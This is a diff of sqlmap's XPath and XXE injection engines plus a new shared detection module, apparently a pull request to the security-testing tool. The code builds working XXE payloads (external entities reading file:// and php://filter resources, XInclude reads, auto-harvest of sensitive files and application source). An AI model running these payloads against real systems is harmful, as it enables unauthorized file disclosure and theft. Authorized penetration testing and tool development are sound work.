# fabricated tree data from an unstable oracle)
|
||||
logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s'); "
|
||||
"extraction disabled (true/false models not reliably separable)" % (place, parameter, backend))
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: XPath boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload))
|
||||
continue
|
||||
logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend))
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend,
|
||||
oracle=oracle, template=template, payload=payload,
|
||||
oracle=oracle, template=oracle.template, payload=payload,
|
||||
boundary=boundary))
|
||||
continue
|
||||
|
||||
|
|
@ -653,13 +785,8 @@ def xpathScan():
|
|||
return
|
||||
|
||||
original = _originalValue(slot.place, slot.parameter) or "x"
|
||||
# OR-style boundaries always-true if the original branch matches, so use a
|
||||
# sentinel that is guaranteed not to appear as a field value. AND-style
|
||||
# boundaries need the original branch to match; keep the original there.
|
||||
if " or " in slot.boundary.prefix:
|
||||
base = SENTINEL
|
||||
else:
|
||||
base = original
|
||||
# SAME base the oracle was calibrated with (see _extractionBase / _makeOracle)
|
||||
base = _extractionBase(original, slot.boundary)
|
||||
builder = _XPathPayloadBuilder(base, slot.boundary)
|
||||
oracle = slot.oracle
|
||||
|
||||
|
|
|
|||
|
|
@ -16,6 +16,7 @@ from lib.core.common import singleTimeWarnMessage
|
|||
from lib.core.convert import getBytes
|
||||
from lib.core.convert import getText
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.convert import htmlUnescape
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
|
@ -34,8 +35,13 @@ from lib.core.settings import XXE_WEBROOTS
|
|||
from lib.core.settings import OOB_POLL_ATTEMPTS
|
||||
from lib.core.settings import OOB_POLL_DELAY
|
||||
from lib.core.settings import XXE_LOCAL_DTDS
|
||||
from lib.core.settings import XXE_LOCATION_SWEEP_MAX
|
||||
from lib.core.settings import XXE_TIME_THRESHOLD
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.xrange import xrange
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
# Fresh per-scan sentinel token. Deliberately a random opaque string (never
|
||||
# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and
|
||||
|
|
@ -50,6 +56,11 @@ _MARKER = None
|
|||
# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
|
||||
_OOB_CONSENT = None
|
||||
|
||||
# Latched leaf text-node location that the in-band reflection sweep proved workable. Every subsequent
|
||||
# body-injection tier (`_placeRef` with index left as None) reuses it, so once the reflecting node is
|
||||
# found the file-read/harvest/XInclude tiers all target that same spot instead of always the first leaf.
|
||||
_PLACE_INDEX = 0
|
||||
|
||||
# First element of the document (skipping the <?xml?> prolog, comments and any
|
||||
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
|
||||
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
|
||||
|
|
@ -139,57 +150,152 @@ def _send(body):
|
|||
return ""
|
||||
|
||||
|
||||
def _scanDoctype(xml):
|
||||
"""Non-resolving lexical scan for a DOCTYPE declaration. Returns {start, subsetOpen, subsetClose,
|
||||
end} byte offsets (subsetOpen/subsetClose None when there is no internal subset), or None when the
|
||||
document has no DOCTYPE. Tracks quote state, comments and the internal subset so a '>' or ']>'
|
||||
sitting inside a quoted entity value, a comment, or a nested markup declaration does NOT
|
||||
prematurely terminate the scan - a plain regex mis-detects every one of those and either truncates
|
||||
the DOCTYPE or finds a phantom subset close, corrupting the built payload. This scanner never
|
||||
resolves entities or fetches external ids; it only locates boundaries."""
|
||||
m = re.search(r"<!DOCTYPE\b", xml)
|
||||
if not m:
|
||||
return None
|
||||
n = len(xml)
|
||||
i = m.end()
|
||||
subsetOpen = subsetClose = None
|
||||
quote = None
|
||||
while i < n:
|
||||
c = xml[i]
|
||||
if quote:
|
||||
if c == quote:
|
||||
quote = None
|
||||
i += 1
|
||||
elif xml.startswith("<!--", i):
|
||||
end = xml.find("-->", i + 4)
|
||||
i = (end + 3) if end != -1 else n
|
||||
elif c in ('"', "'"):
|
||||
quote = c
|
||||
i += 1
|
||||
elif c == '[' and subsetOpen is None:
|
||||
subsetOpen = i
|
||||
j, depth, iq = i + 1, 0, None
|
||||
while j < n: # scan the internal subset to its matching ']'
|
||||
cj = xml[j]
|
||||
if iq:
|
||||
if cj == iq:
|
||||
iq = None
|
||||
j += 1
|
||||
elif xml.startswith("<!--", j):
|
||||
e = xml.find("-->", j + 4)
|
||||
j = (e + 3) if e != -1 else n
|
||||
elif cj in ('"', "'"):
|
||||
iq = cj
|
||||
j += 1
|
||||
elif cj == ']' and depth == 0:
|
||||
subsetClose = j
|
||||
break
|
||||
else:
|
||||
if cj == '<':
|
||||
depth += 1
|
||||
elif cj == '>' and depth > 0:
|
||||
depth -= 1
|
||||
j += 1
|
||||
i = (subsetClose + 1) if subsetClose is not None else n
|
||||
elif c == '>':
|
||||
return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": i + 1}
|
||||
else:
|
||||
i += 1
|
||||
return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": n}
|
||||
|
||||
|
||||
def _contentStart(xml):
|
||||
"""Offset at which document-element content begins: just past a DOCTYPE (located by the lexical
|
||||
scanner, so a quoted '>' / comment / CDATA inside it is not mistaken for its end), else just past
|
||||
the XML prolog, else 0. Text-node operations start here so they never touch the DTD."""
|
||||
doctype = _scanDoctype(xml)
|
||||
if doctype:
|
||||
return doctype["end"]
|
||||
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
|
||||
return prolog.end() if prolog else 0
|
||||
|
||||
|
||||
def _buildDoctype(xml, rootName, internalSubset):
|
||||
"""Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`.
|
||||
A document may already declare a DOCTYPE - injecting a second one is invalid
|
||||
XML and every parser rejects it, so we splice into the existing declaration
|
||||
instead (into its internal subset, or by adding one to a subset-less DOCTYPE)."""
|
||||
instead (into its internal subset, or by adding one to a subset-less DOCTYPE).
|
||||
Boundaries come from the lexical scanner, not a regex, so a quoted '>' or a
|
||||
comment inside an existing DOCTYPE cannot misplace the splice."""
|
||||
|
||||
existing = re.search(r"<!DOCTYPE\s+[^>\[]*\[", xml)
|
||||
if existing:
|
||||
doctype = _scanDoctype(xml)
|
||||
if doctype and doctype["subsetOpen"] is not None:
|
||||
# Splice our declarations into the existing internal subset.
|
||||
insertAt = xml.index('[', existing.start()) + 1
|
||||
insertAt = doctype["subsetOpen"] + 1
|
||||
return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:]
|
||||
|
||||
subsetless = re.search(r"<!DOCTYPE\s+[^>\[]*>", xml)
|
||||
if subsetless:
|
||||
if doctype:
|
||||
# DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"):
|
||||
# add an internal subset before its closing '>' (both may legally coexist).
|
||||
close = xml.index('>', subsetless.start())
|
||||
close = doctype["end"] - 1
|
||||
return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:]
|
||||
|
||||
doctype = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
|
||||
built = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset)
|
||||
prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL)
|
||||
if prolog:
|
||||
end = prolog.end()
|
||||
return xml[:end] + "\n" + doctype + xml[end:]
|
||||
return doctype + "\n" + xml
|
||||
return xml[:end] + "\n" + built + xml[end:]
|
||||
return built + "\n" + xml
|
||||
|
||||
|
||||
def _placeRef(xml, snippet, attrs=False):
|
||||
"""Insert `snippet` (an entity reference or an XInclude element) into EVERY leaf
|
||||
text node - not just the first - so detection does not depend on which field the
|
||||
application happens to reflect. When `attrs` is set (internal-entity tier only),
|
||||
also seed existing attribute values, since a general internal entity legally
|
||||
expands inside an attribute (external entity refs do NOT - never seed attributes
|
||||
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
|
||||
injecting just before the root's closing tag when there is no text node at all."""
|
||||
def _textNodeCount(xml):
|
||||
"""Number of leaf text nodes `_placeRef` can target (for callers that sweep one location at a
|
||||
time). Excludes the DOCTYPE, mirroring `_placeRef` (via the lexical `_contentStart`)."""
|
||||
return len(_TEXTNODE_RE.findall(xml[_contentStart(xml):]))
|
||||
|
||||
|
||||
def _sweepLocations(xml):
|
||||
"""Ordered list of leaf-text-node indices for a body-injection tier to try, bounded by
|
||||
XXE_LOCATION_SWEEP_MAX so a document with many text nodes cannot explode the request count. When
|
||||
the user pinned an explicit injection marker there is exactly one spot, so no sweep is needed."""
|
||||
if _MARKER and _MARKER in xml:
|
||||
return [0]
|
||||
return list(xrange(min(max(1, _textNodeCount(xml)), XXE_LOCATION_SWEEP_MAX)))
|
||||
|
||||
|
||||
def _placeRef(xml, snippet, attrs=False, index=None):
|
||||
"""Insert `snippet` (an entity reference or an XInclude element) into ONE leaf text node - the
|
||||
`index`-th - PRESERVING every other value. Replacing every leaf (and, in the internal-entity tier,
|
||||
every attribute) at once corrupted the whole document: schema validation, XML signatures/checksums,
|
||||
authentication values, IDs and routing fields were all destroyed, which both causes false negatives
|
||||
(the app rejects the mutated document, unrelated to entity handling) and can trigger application-side
|
||||
actions on altered values. An explicit '*'/marker still wins. When `attrs` is set and there is no
|
||||
text node, seeds ONE attribute value. `index` None (the default) uses the latched `_PLACE_INDEX` -
|
||||
the location the reflection sweep proved workable - so downstream read tiers reuse it; the sweep
|
||||
itself passes an explicit `index` 0..N-1 (see `_textNodeCount`) to try each location individually.
|
||||
`snippet` is placed in exactly one spot per call so the rest of the document stays well-formed and
|
||||
semantically intact."""
|
||||
|
||||
if index is None:
|
||||
index = _PLACE_INDEX
|
||||
|
||||
if _MARKER and _MARKER in xml:
|
||||
return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
|
||||
|
||||
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
|
||||
start = _contentStart(xml) # skip the DOCTYPE via the lexical scanner (quote/comment safe)
|
||||
head, tail = xml[:start], xml[start:]
|
||||
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
|
||||
|
||||
matches = list(_TEXTNODE_RE.finditer(tail))
|
||||
if matches:
|
||||
m = matches[index if 0 <= index < len(matches) else 0]
|
||||
return head + tail[:m.start()] + ">" + snippet + "<" + tail[m.end():]
|
||||
if attrs:
|
||||
# Seed every attribute value except namespace declarations (xmlns / xmlns:*),
|
||||
# whose rewriting would break the document. Only touches simple, entity-free
|
||||
# values (the '[^"\'<>&]*' class) so we never corrupt existing markup.
|
||||
tail, acount = re.subn(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''',
|
||||
lambda m: "%s%s%s%s" % (m.group(1), m.group(2), snippet, m.group(2)), tail)
|
||||
count += acount
|
||||
if count:
|
||||
return head + tail
|
||||
# a general internal entity legally expands inside an attribute value; seed ONE attribute
|
||||
# (never xmlns) when the document has no text node. External-entity/XInclude tiers must not
|
||||
# request this (an external ref in an attribute is ill-formed).
|
||||
am = re.search(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', tail)
|
||||
if am:
|
||||
return head + tail[:am.start()] + "%s%s%s%s" % (am.group(1), am.group(2), snippet, am.group(2)) + tail[am.end():]
|
||||
|
||||
rootName = _rootName(xml)
|
||||
if rootName:
|
||||
|
|
@ -229,11 +335,11 @@ def _echoed(page):
|
|||
return False
|
||||
|
||||
|
||||
def _report(title, payload):
|
||||
def _report(title, payload, vulnType="XXE injection"):
|
||||
if conf.beep:
|
||||
beep()
|
||||
place = conf.method or HTTPMETHOD.POST
|
||||
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
|
||||
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: %s\n Title: %s\n Payload: %s\n---" % (place, vulnType, title, payload))
|
||||
|
||||
|
||||
def _saveFileRead(remoteFile, content):
|
||||
|
|
@ -349,15 +455,16 @@ def _harvestSource(xml, rootName, harvested):
|
|||
return result
|
||||
|
||||
|
||||
def _tryInternal(xml, rootName, baseline):
|
||||
def _tryInternal(xml, rootName, baseline, index=None):
|
||||
"""T2 in-band: an internal general entity expands to the sentinel and is
|
||||
reflected. Guarded by a negative control (sentinel absent from baseline) and
|
||||
a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the
|
||||
app merely mirrors the body without parsing entities)."""
|
||||
app merely mirrors the body without parsing entities). `index` selects the leaf
|
||||
text node to inject into (the sweep in `xxeScan` tries each in turn)."""
|
||||
|
||||
ent = randomStr(length=8, lowercase=True)
|
||||
subset = '<!ENTITY %s "%s">' % (ent, SENTINEL)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True, index=index)
|
||||
page = _send(payload)
|
||||
|
||||
if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline:
|
||||
|
|
@ -378,35 +485,83 @@ def _confirmRead(page, pattern, baseline):
|
|||
return None
|
||||
|
||||
|
||||
def _tryInbandFileRead(xml, rootName, fileName):
|
||||
"""Read an arbitrary file IN-BAND on a reflective target: place the external
|
||||
entity between two random markers so the exact file content can be sliced out
|
||||
of the response regardless of surrounding template. Raw file:// works for text
|
||||
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
|
||||
(content, payload) or (None, None)."""
|
||||
def _normalizeEscaping(text):
|
||||
"""Bounded, non-resolving decode of the common reflection encodings (HTML entities, percent-
|
||||
encoding, JS \\uXXXX / escaped slash) so an ESCAPED entity reference (&e;, &e;, &e;,
|
||||
%26e%3B, \\u0026e;) is unmasked and can be recognised as reflection rather than file content."""
|
||||
out = getUnicode(text)
|
||||
for _ in range(3): # a few rounds catch double-encoding; capped
|
||||
prev = out
|
||||
try:
|
||||
out = htmlUnescape(out)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
out = _urllib.parse.unquote(out)
|
||||
except Exception:
|
||||
pass
|
||||
out = out.replace("\\u0026", "&").replace("\\u003b", ";").replace("\\/", "/")
|
||||
if out == prev:
|
||||
break
|
||||
return out
|
||||
|
||||
|
||||
def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2):
|
||||
"""Read `systemId` via an external entity placed between markers `m1`/`m2`; slice, reject a
|
||||
reflected (un-expanded) entity in any encoding, and base64-decode when requested. Returns
|
||||
(content, payload) with content=None when nothing usable came back."""
|
||||
from lib.core.convert import decodeBase64
|
||||
ent = randomStr(8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
|
||||
page = getUnicode(_send(payload))
|
||||
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
|
||||
if not match:
|
||||
return None, payload
|
||||
data = match.group(1)
|
||||
# a reflected (not expanded) entity in ANY encoding: the random entity NAME survives de-escaping ->
|
||||
# the parser echoed the reference, it did not resolve the external entity -> not file content
|
||||
if not data.strip() or ent in _normalizeEscaping(data):
|
||||
return None, payload
|
||||
if isB64:
|
||||
try:
|
||||
data = getText(decodeBase64(data.strip())) # strict base64 also validates real bytes
|
||||
except Exception:
|
||||
return None, payload
|
||||
if not data or not data.strip() or ent in _normalizeEscaping(data):
|
||||
return None, payload
|
||||
return (data if (data and data.strip()) else None), payload
|
||||
|
||||
|
||||
def _tryInbandFileRead(xml, rootName, fileName):
|
||||
"""Read an arbitrary file IN-BAND on a reflective target. The strict php://filter base64 channel is
|
||||
PREFERRED (self-validating: only real bytes decode). The raw file:// channel is guarded by a MATCHED
|
||||
CONTROL - a read of a random NONEXISTENT path with identical markers: a gateway/sanitizer that
|
||||
substitutes a fixed placeholder (e.g. '[external entity disabled]', an error string) returns the
|
||||
SAME text regardless of path, so if the requested-path read is materially identical to the
|
||||
nonexistent-path read it is NOT genuine content and is rejected. Returns (content, payload) or
|
||||
(None, None)."""
|
||||
|
||||
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
|
||||
for systemId, isB64 in ((_toSystemId(fileName), False),
|
||||
("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
|
||||
ent = randomStr(8, lowercase=True)
|
||||
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
|
||||
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
|
||||
page = getUnicode(_send(payload))
|
||||
match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL)
|
||||
if not match:
|
||||
continue
|
||||
data = match.group(1)
|
||||
if not data.strip() or ("&%s;" % ent) in data: # empty read or un-expanded echo
|
||||
continue
|
||||
if isB64:
|
||||
try:
|
||||
data = getText(decodeBase64(data.strip()))
|
||||
except Exception:
|
||||
continue
|
||||
if data and data.strip():
|
||||
return data, payload
|
||||
|
||||
# (1) preferred: strict base64 (PHP) - decoding proves the bytes are real, no control needed
|
||||
data, payload = _readBetweenMarkers(xml, rootName,
|
||||
"php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True, m1, m2)
|
||||
if data:
|
||||
return data, payload
|
||||
|
||||
# (2) raw file:// with a nonexistent-path differential control
|
||||
data, payload = _readBetweenMarkers(xml, rootName, _toSystemId(fileName), False, m1, m2)
|
||||
if data:
|
||||
bogus = _toSystemId("/%s/%s" % (randomStr(10, lowercase=True), randomStr(12, lowercase=True)))
|
||||
control, _ = _readBetweenMarkers(xml, rootName, bogus, False, m1, m2)
|
||||
if control is not None and _ratio(control, data) >= UPPER_RATIO_BOUND:
|
||||
# a nonexistent path returned the same/similar text -> a path-independent placeholder, not
|
||||
# the requested file's contents
|
||||
logger.debug("XXE raw read of '%s' matches a nonexistent-path control; rejecting placeholder" % fileName)
|
||||
return None, None
|
||||
return data, payload
|
||||
|
||||
return None, None
|
||||
|
||||
|
||||
|
|
@ -541,13 +696,14 @@ def _tryErrorExfil(xml, rootName, errorChannel=False):
|
|||
return None, None
|
||||
|
||||
|
||||
def _tryXInclude(xml, rootName, baseline):
|
||||
def _tryXInclude(xml, rootName, baseline, index=None):
|
||||
"""T4 fallback when DOCTYPE/entities are unavailable: XInclude a benign file as
|
||||
text. Confirmed when the file content appears in the response (baseline-guarded)."""
|
||||
text. Confirmed when the file content appears in the response (baseline-guarded).
|
||||
`index` selects the leaf text node to inject the <xi:include> into."""
|
||||
|
||||
for systemId, pattern in XXE_IMPACT_FILES:
|
||||
snippet = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="%s" parse="text"/>' % systemId
|
||||
payload = _placeRef(xml, snippet)
|
||||
payload = _placeRef(xml, snippet, index=index)
|
||||
confirmed = _confirmRead(_send(payload), pattern, baseline)
|
||||
if confirmed:
|
||||
return payload, systemId, confirmed
|
||||
|
|
@ -737,9 +893,10 @@ def _tryOob(xml, rootName):
|
|||
|
||||
|
||||
def xxeScan():
|
||||
global SENTINEL, _OOB_CONSENT
|
||||
global SENTINEL, _OOB_CONSENT, _PLACE_INDEX
|
||||
SENTINEL = randomStr(length=12, lowercase=True)
|
||||
_OOB_CONSENT = None
|
||||
_PLACE_INDEX = 0
|
||||
|
||||
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
|
||||
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
|
||||
|
|
@ -769,7 +926,14 @@ def xxeScan():
|
|||
# then emit a SINGLE report block with the strongest confirmed vector and its real
|
||||
# payload (one report per finding, as with the other non-SQL engines). The internal
|
||||
# expansion is only reported on its own when no external-entity read is reachable.
|
||||
payload, page = _tryInternal(xml, rootName, baseline)
|
||||
payload = page = None
|
||||
for _locIndex in _sweepLocations(xml):
|
||||
payload, page = _tryInternal(xml, rootName, baseline, index=_locIndex)
|
||||
if payload:
|
||||
_PLACE_INDEX = _locIndex # latch the reflecting location for every downstream read tier
|
||||
if _locIndex:
|
||||
logger.debug("in-band reflection confirmed at leaf text-node location #%d" % _locIndex)
|
||||
break
|
||||
if payload:
|
||||
expansionSeen = True
|
||||
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
|
||||
|
|
@ -782,15 +946,16 @@ def xxeScan():
|
|||
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
|
||||
_dumpFileRead(conf.fileRead, content)
|
||||
else:
|
||||
# No targeted '--file-read': proactively harvest a curated set of high-value
|
||||
# files (data stays in the response, no third party) - the XXE analogue of
|
||||
# the automatic dumping the other non-SQL engines do once confirmed.
|
||||
# No targeted '--file-read': AUTO-HARVEST a curated set of high-value files (the data
|
||||
# stays in the response, no third party). `--xxe` is an auxiliary, self-contained switch
|
||||
# - users generally don't know which file to request, so once an in-band read primitive
|
||||
# is confirmed we harvest by default (the XXE analogue of the other non-SQL engines'
|
||||
# automatic dumping). A specific target still overrides via '--file-read <path>'.
|
||||
harvested = _harvestFiles(xml, rootName)
|
||||
if harvested:
|
||||
found = True
|
||||
firstPath, _, firstPayload = harvested[0]
|
||||
# follow-up: server-side application source disclosure (php://filter)
|
||||
harvested += _harvestSource(xml, rootName, harvested)
|
||||
harvested += _harvestSource(xml, rootName, harvested) # server-side app source (php://filter)
|
||||
logger.info("in-band XXE file-read impact confirmed; harvested %d file(s)" % len(harvested))
|
||||
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
|
||||
saved = []
|
||||
|
|
@ -804,9 +969,8 @@ def xxeScan():
|
|||
if saved:
|
||||
conf.dumper.rFile(saved)
|
||||
else:
|
||||
# Harvest read nothing (content relocated in the response, or only benign
|
||||
# host-identity is exposed): fall back to the pattern-based impact proof
|
||||
# so file-read impact is still confirmed.
|
||||
# harvest read nothing (content relocated, or only benign host-identity exposed):
|
||||
# fall back to the pattern-based impact proof so file-read impact is still confirmed
|
||||
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
|
||||
if not systemId:
|
||||
readPayload = _tryPhpFilter(xml, rootName, baseline)
|
||||
|
|
@ -817,9 +981,12 @@ def xxeScan():
|
|||
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
|
||||
|
||||
if not found:
|
||||
# external entities are disabled (only internal expansion is reachable):
|
||||
# report that weaker-but-real finding with its actual payload
|
||||
_report("In-band DTD/internal entity expansion", payload)
|
||||
# Only INTERNAL general-entity expansion is reachable - external retrieval / local file
|
||||
# access / XInclude / OOB were NOT proven. That is a parser-configuration weakness, NOT a
|
||||
# confirmed XXE (which requires external resolution). Report it as its own, weaker finding
|
||||
# so it is not conflated with a true external-entity XXE.
|
||||
_report("DTD/internal general entity expansion enabled (external entity access NOT confirmed)",
|
||||
payload, vulnType="XML parser configuration")
|
||||
|
||||
# T3: error-based (works where entities are not reflected but errors leak). A
|
||||
# redundant detection channel once in-band reflection was already seen, so it is
|
||||
|
|
@ -853,13 +1020,16 @@ def xxeScan():
|
|||
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
|
||||
_dumpFileRead(fileName, content)
|
||||
|
||||
# T4: XInclude fallback (no DOCTYPE/entity control needed)
|
||||
# T4: XInclude fallback (no DOCTYPE/entity control needed). Reflection never latched a location
|
||||
# here, so sweep the leaf text nodes (a schema-rejected or non-parsed first leaf otherwise hides it).
|
||||
if not found:
|
||||
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline)
|
||||
if payload:
|
||||
found = True
|
||||
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
|
||||
_report("XInclude file read ('%s')" % systemId, payload)
|
||||
for _locIndex in _sweepLocations(xml):
|
||||
payload, systemId, snippet = _tryXInclude(xml, rootName, baseline, index=_locIndex)
|
||||
if payload:
|
||||
found = True
|
||||
logger.info("the XML body is vulnerable to XInclude file read ('%s'): '%s'" % (systemId, snippet))
|
||||
_report("XInclude file read ('%s')" % systemId, payload)
|
||||
break
|
||||
|
||||
# T5: WAF-evasion fallbacks (UTF-16 re-encoding, PUBLIC-for-SYSTEM). The UTF-16
|
||||
# variant re-detects internal-entity reflection, so it is redundant (and mislabels
|
||||
|
|
|
|||
148
lib/utils/nonsql.py
Normal file
148
lib/utils/nonsql.py
Normal file
|
|
@ -0,0 +1,148 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Shared detection primitives for the non-SQL injection techniques (--nosql, --xpath, --ldap, --hql,
|
||||
--ssti, --graphql, --xxe). Each of those engines historically carried its own copy of the same
|
||||
response-comparison, error/blocked-status filtering, blind-bit classification and user-oracle logic;
|
||||
this module is the single home for that shared machinery so the behavior is uniform and reviewable
|
||||
in one place rather than drifting across six files.
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
# Minimum similarity margin by which a blind-extraction response must lean toward the confirmed TRUE
|
||||
# model over the FALSE model before a bit is accepted as true (else ambiguous -> false). Deliberately
|
||||
# generous: a small (e.g. 5%) margin lets a noisy page fabricate values one character at a time.
|
||||
EXTRACT_MATCH_MARGIN = 0.2
|
||||
|
||||
# HTTP statuses that mean the response is BLOCKED (WAF / rate-limit); together with 5xx these must
|
||||
# never be fed to a boolean oracle as if they were application content.
|
||||
BLOCKED_HTTP_CODES = frozenset((403, 429))
|
||||
|
||||
# generic SQL/DBMS error marker (mirrors lib/parse/html.py's own generic check), used alongside the
|
||||
# DBMS-specific errors.xml signatures that htmlParser() recognizes
|
||||
_SQL_ERROR_REGEX = re.compile(r"(?i)SQL (warning|error|syntax)")
|
||||
|
||||
|
||||
def ratio(first, second):
|
||||
"""Content-similarity ratio shared by every non-SQL detector (difflib quick_ratio over the two
|
||||
response bodies) - one implementation instead of six identical copies."""
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def blockedStatus(code):
|
||||
"""True when an HTTP status means the response is blocked/errored (a 5xx, or a WAF/rate-limit
|
||||
403/429) and so is not a usable oracle sample. `_send()` implementations return None for these
|
||||
(and for transport exceptions) so the boolean routines, which reject None, can never decide on
|
||||
a non-answer."""
|
||||
return bool(code) and (code >= 500 or code in BLOCKED_HTTP_CODES)
|
||||
|
||||
|
||||
def sqlErrorPresent(page):
|
||||
"""True when the response carries a recognized SQL/DBMS error - either a DBMS-specific signature
|
||||
from sqlmap's errors.xml (via htmlParser) or the generic 'SQL warning/error/syntax' marker. The
|
||||
non-SQL detectors treat such a page as NOT a valid boolean template, so a payload that merely
|
||||
trips a back-end SQL syntax error cannot fake a true/false divergence and get a plainly SQL-
|
||||
injectable parameter mis-reported as NoSQL / XPath / LDAP / HQL."""
|
||||
page = page or ""
|
||||
return bool(htmlParser(page)) or bool(_SQL_ERROR_REGEX.search(page))
|
||||
|
||||
|
||||
# Visible placeholder for a single recovered cell/attribute whose extraction was INCONCLUSIVE (the
|
||||
# oracle stayed ambiguous after retries). Rendered in dumps in place of the value so a failed cell is
|
||||
# never silently shown as a genuine empty string - `None` from an extractor means "unknown", `""` means
|
||||
# "really empty", and they must stay distinguishable in the output.
|
||||
INCONCLUSIVE_MARK = "<inconclusive>"
|
||||
|
||||
|
||||
class InconclusiveError(Exception):
|
||||
"""Raised by resolveBit(abort=True) when a bit stays INCONCLUSIVE after retries. Per-value
|
||||
extractors catch it to ABORT the current value (return what was recovered so far, marked
|
||||
incomplete) instead of substituting a semantic False - which would corrupt a length, pick the
|
||||
wrong half of a bisection, or truncate enumeration."""
|
||||
|
||||
|
||||
class Decision(object):
|
||||
"""Tri(+)-state blind-inference outcome. INCONCLUSIVE is deliberately DISTINCT from FALSE: an
|
||||
ambiguous comparison (equally close to both models, close to neither, or a transport/blocked
|
||||
anomaly) must be retried/aborted, NOT silently read as a semantic false - which would shorten a
|
||||
value, pick the wrong half of a bisection or truncate enumeration."""
|
||||
TRUE = "TRUE"
|
||||
FALSE = "FALSE"
|
||||
INCONCLUSIVE = "INCONCLUSIVE"
|
||||
|
||||
|
||||
def decide(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN):
|
||||
"""Classify a blind-inference response against the two calibrated models, returning a Decision.
|
||||
TRUE when it resembles the confirmed TRUE model (identical, or clearly closer to it than to the
|
||||
FALSE model by `margin`); FALSE when it resembles the FALSE model; INCONCLUSIVE when it leans to
|
||||
neither (so the caller can retry or abort rather than guess)."""
|
||||
if page is None:
|
||||
return Decision.INCONCLUSIVE
|
||||
simTrue, simFalse = ratio(trueModel, page), ratio(falseModel, page)
|
||||
if simTrue >= UPPER_RATIO_BOUND and simTrue >= simFalse:
|
||||
return Decision.TRUE
|
||||
if simFalse >= UPPER_RATIO_BOUND and simFalse >= simTrue:
|
||||
return Decision.FALSE
|
||||
if (simTrue - simFalse) >= margin:
|
||||
return Decision.TRUE
|
||||
if (simFalse - simTrue) >= margin:
|
||||
return Decision.FALSE
|
||||
return Decision.INCONCLUSIVE
|
||||
|
||||
|
||||
